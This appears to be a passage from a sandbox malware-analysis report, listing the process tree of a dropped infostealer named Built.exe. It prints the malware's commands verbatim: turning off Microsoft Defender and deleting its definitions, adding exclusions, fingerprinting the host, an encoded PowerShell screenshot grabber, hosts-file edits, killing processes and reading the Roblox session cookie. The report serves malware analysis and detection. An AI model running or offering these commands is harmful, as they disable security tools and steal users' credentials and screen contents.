    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:2416
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:4548
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:2428
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:3436
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:4192
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:2216
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:2256
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:2452
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:1976
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        
        PID:5464
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\Built.exe"' & exit
        5⤵
        
        PID:232
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\Built.exe"'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2860
        
        C:\Users\Admin\AppData\Local\Temp\Built.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Built.exe"
        7⤵
        Executes dropped EXE
        
        PID:4248
        
        C:\Users\Admin\AppData\Local\Temp\Built.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Built.exe"
        8⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4924
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        9⤵
        
        PID:316
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:400
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        9⤵
        
        PID:2732
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        10⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        9⤵
        
        PID:5160
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        10⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:6048
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        9⤵
        
        PID:4376
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        10⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6036
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        9⤵
        
        PID:5944
        
        C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
        10⤵
        
        PID:436
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
        9⤵
        
        PID:536
        
        C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
        10⤵
        
        PID:2704
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        9⤵
        
        PID:4676
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        10⤵
        Detects videocard installed
        Suspicious use of AdjustPrivilegeToken
        
        PID:2420
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        9⤵
        
        PID:1464
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        10⤵
        Detects videocard installed
        
        PID:1992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe""
        9⤵
        
        PID:5472
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Built.exe"
        10⤵
        Views/modifies file attributes
        
        PID:5108
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ .scr'"
        9⤵
        
        PID:964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ .scr'
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5032
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        9⤵
        
        PID:1640
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        10⤵
        Enumerates processes with tasklist
        
        PID:4304
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        9⤵
        
        PID:4416
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        10⤵
        Enumerates processes with tasklist
        
        PID:3008
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
        9⤵
        
        PID:2164
        
        C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
        10⤵
        
        PID:636
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        9⤵
        
        PID:464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5260
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vvxs3apg\vvxs3apg.cmdline"
        11⤵
        
        PID:4404
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES412.tmp" "c:\Users\Admin\AppData\Local\Temp\vvxs3apg\CSC2F633652E57F4DC4A3293966EE776F80.TMP"
        12⤵
        
        PID:5508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
        9⤵
        
        PID:1144
        
        C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        10⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:4048
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
        9⤵
        
        PID:3376
        
        C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        10⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:4288
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        9⤵
        
        PID:4184
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        10⤵
        Enumerates processes with tasklist
        
        PID:5212
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5548"
        9⤵
        
        PID:2860
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5548
        10⤵
        Kills process with taskkill
        
        PID:6064
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5548"
        9⤵
        
        PID:3228
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5548
        10⤵
        Kills process with taskkill
        
        PID:232
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5540"
        9⤵
        
        PID:1564
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5540
        10⤵
        Kills process with taskkill
        
        PID:2308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5540"
        9⤵
        
        PID:3248
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5540
        10⤵
        Kills process with taskkill
        
        PID:1108
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5168"
        9⤵
        
        PID:4236
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5168
        10⤵
        Kills process with taskkill
        
        PID:3756
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5168"
        9⤵
        
        PID:1144
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5168
        10⤵
        Kills process with taskkill
        
        PID:4056
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3036"
        9⤵
        
        PID:5044
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3036
        10⤵
        Kills process with taskkill
        
        PID:5508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3036"
        9⤵
        
        PID:4052
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3036
        10⤵
        Kills process with taskkill
        
        PID:5936
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5152"
        9⤵
        
        PID:4088
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5152
        10⤵
        Kills process with taskkill
        
        PID:3580
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5152"
        9⤵
        
        PID:400
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5152
        10⤵
        Kills process with taskkill
        
        PID:1288
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5224"
        9⤵
        
        PID:2724
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5224
        10⤵
        Kills process with taskkill
        
        PID:2780
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5224"
        9⤵
        
        PID:2656
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5224
        10⤵
        Kills process with taskkill
        
        PID:4796
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 696"
        9⤵
        
        PID:5108
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 696
        10⤵
        Kills process with taskkill
        
        PID:4788
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 696"
        9⤵
        
        PID:2136
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        10⤵
        
        PID:5472
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 696
        10⤵
        Kills process with taskkill
        
        PID:5460
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4824"
        9⤵
        
        PID:2264
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4824
        10⤵
        Kills process with taskkill
        
        PID:5960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4824"
        9⤵
        
        PID:3692
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4824
        10⤵
        Kills process with taskkill
        
        PID:5812
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3524"
        9⤵
        
        PID:6048
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3524
        10⤵
        Kills process with taskkill
        
        PID:3572
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3524"
        9⤵
        
        PID:5296
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3524
        10⤵
        Kills process with taskkill
        
        PID:452
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 876"
        9⤵
        
        PID:5624
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        10⤵
        
        PID:4048
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 876
        10⤵
        Kills process with taskkill
        
        PID:5308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 876"
        9⤵
        
        PID:4036
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 876
        10⤵
        Kills process with taskkill
        
        PID:1144
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        9⤵
        
        PID:448
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        10⤵
        
        PID:5508
        
        C:\Windows\system32\cmd.exe
        
